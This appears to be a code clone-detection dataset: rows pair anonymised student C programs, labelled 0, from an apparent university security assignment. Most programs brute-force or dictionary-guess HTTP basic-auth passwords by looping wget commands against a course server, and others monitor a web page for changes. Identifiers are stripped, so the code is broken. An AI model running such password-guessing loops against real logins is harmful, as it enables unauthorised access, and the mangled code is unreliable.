}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
033.c | 043.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
033.c | 014.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
033.c | 050.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
033.c | 016.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
void emptyFile(char* name)
{
FILE* myFile;
myFile = fopen(name,"w");
fclose(myFile);
}
int (void)
{
FILE* myFile;
char* myString;
myString = malloc(sizeof(char ) * 100);
emptyFile(".old.html");
emptyFile(".new.html");
system("wget -O .old.html -q http://www.cs.rmit.edu./students/");
while(1)
{
emptyFile(".new.html");
system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
system("diff .old.html .new.html > watch.txt");
myFile = fopen("watch.txt","r");
if(myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
if(strlen(myString) > 0)
{
system("mail @cs.rmit.edu. < watch.txt");
system("cp .new.html .old.html");
}
}
sleep(60*60*24);
}
return 1;
}
| 0 |
033.c | 007.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir home");
system("mv www.cs.rmit.edu./images/*.* home/");
system("mv www.cs.rmit.edu./students/*.* home/");
system("cd www.cs.rmit.edu./images");
sleep(1);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("cd www.cs.rmit.edu./images");
system("diff home second > difference.txt");
system("mailx -s \"Difference in \" < difference.txt ");
return 0;
}
| 0 |
033.c | 054.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;
char point[25];
fin1=fopen("./words.txt","r");
if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}
strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcpy(temp3,"");
(void) time(&u1);
while(!feof(fin1))
{
fgets(point,25,fin1);
if(strlen(point)<=4)
{
strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
| 0 |
033.c | 021.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int i,j,k,count=0;
int total_time,start_time,end_time;
start_time = time();
for(i=0;i<52;i++)
{
m[0]=b[i];
m[1]='\0';
strcpy(c,m);
printf("%s \n",c);
for(j=0;j<52;j++)
{
m[0]=b[j];
m[1]='\0';
strcpy(c1,c);
strcat(c1,m);
printf("%s \n",c1);
for(k=0;k<52;k++)
{
count++;
printf("ATTEMPT :%d\n",count);
m[0]=b[k];
m[1]='\0';
strcpy(c2,c1);
strcat(c2,m);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
strcat(a,c2);
if(system(a)==0)
{
printf("Congratulations!!!!BruteForce Attack Successful\n");
printf("***********************************************\n");
printf("The Password is %s\n",c2);
printf("The Request sent is %s\n",a);
end_time = time();
total_time = (end_time -start_time);
total_time /= 1000000000.0;
printf("The Time Taken is : %llds\n",total_time);
exit(1);
}
}
}
}
return 0;
}
| 0 |
033.c | 030.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
int pass,count=0;
char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
char [4];
char url1[100];
char url2[100];
startTime = time();
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
count++;
[0] = arr[i];
[1] = arr[j];
[2] = arr[k];
[3] = '\0';
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,);
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
printf("Success\n");
printf("Number of attempts = %d\n",count);
stopTime = time();
final = stopTime-startTime;
printf("The password for the user : %s\n",);
printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
exit(1);}
}
}
}
}
| 0 |
033.c | 044.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
char *itoa(int);
int ()
{
int t,t1,t2, timeinsec;
int nofattempts = 0;
char url[80], url1[80], *ur1, *ur2;
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
int i = 65;
int j ;
int k ;
char *c1, *c2, *c3;
char *c12, pass[4];
int syst = 1;
char a = 'a';
char inside[50];
t1 = time();
for (i = 65; i <= 122; i++)
{
if (i > 90 && i < 97) continue;
for (j = 65; j <= 122; j++)
{
if (j > 90 && j < 97) continue;
for (k = 65; k <= 122; k++)
{
fflush(stdin);
if (k > 90 && k < 97) continue;
c1 = itoa(i);
c2 = itoa(j);
c3 = itoa(k);
pass[0] = *c1;
pass[1] = *c2;
pass[2] = *c3;
pass[3] = '\0';
strcat(url, pass);
strcat(url, url1);
++nofattempts;
syst = system(url);
printf("%s\n",pass);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t / 1000000000;
printf(" Total .of attempts :- %d", nofattempts);
printf("\n !!! 's the password:- %s\n", pass);
printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
}
exit(0);
}
char *itoa(int a)
{
char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
"y", "z" };
char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z" };
char *ret;
if ( a >= 97 && a <= 122)
{
ret = [a-97];
return ret;
}
if ( a >= 65 && a <= 90)
{
ret = [a-65];
return ret;
}
return "5";
}
| 0 |
033.c | 051.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int time1, time2, time_var;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
time1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
if (strlen(word) == 3)
{
syst = system(url);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
}
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var/1000000000;
printf("\n The Password is: %s",word);
printf("\n of Attempts: %d\n",nofattempts);
printf("\n Time Taken: %d seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
033.c | 066.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int cntr=0;
char get[96];
char username[]="";
char password[16];
int R_VALUE;
double time_used;
clock_t , end;
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
= clock();
while ( fscanf(fp,"%s",&password) != EOF )
{
if(strlen(password)>3) continue;
cntr++;
printf("%d >> PASSWORD SEND : %s \n",cntr, password);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
033.c | 026.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include <stdio.h>
#include <sys/time.h>
#include <strings.h>
#include <stdlib.h>
#include <ctype.h>
int ()
{
FILE *fileopen;
char *t_tst,chk[6];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir original");
system("mv www.cs.rmit.edu./images/*.* original/");
system("mv www.cs.rmit.edu./students/*.* original/");
sleep(75);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* fresh/");
system("mv www.cs.rmit.edu./students/*.* fresh/");
system("diff one two > image_dif.txt");
fileopen = fopen("imagedif.txt","r");
t_tst = fgets(chk, 6, fileopen);
if (strlen(chk) != 0)
system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
return 0;
}
| 0 |
033.c | 067.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main ()
{
FILE *fp;
char s[300] , ptr[20];
system("rm *.html* ");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html First.html");
system("sleep 10");
system("wget http://www.cs.rmit.edu./students/ ");
system("diff First.html index.html > difference.txt" );
fp=fopen("difference.txt","r");
if(fgets(ptr,30,fp))
{
system( "mailx -s \"Changes were detected \" < difference.txt ");
}
else
printf(" were changes detected");
return 0;
}
| 0 |
033.c | 024.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(system(mx)==0)
{
printf("Password=%s\n",mx);
printf("%d \n",count);
end = time();
t = (end -);
t /= 1000000000.0;
printf("The total time_var taken is:%llds\n",t);
exit(1);
}
}
}
}
return 0;
}
| 0 |
033.c | 009.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
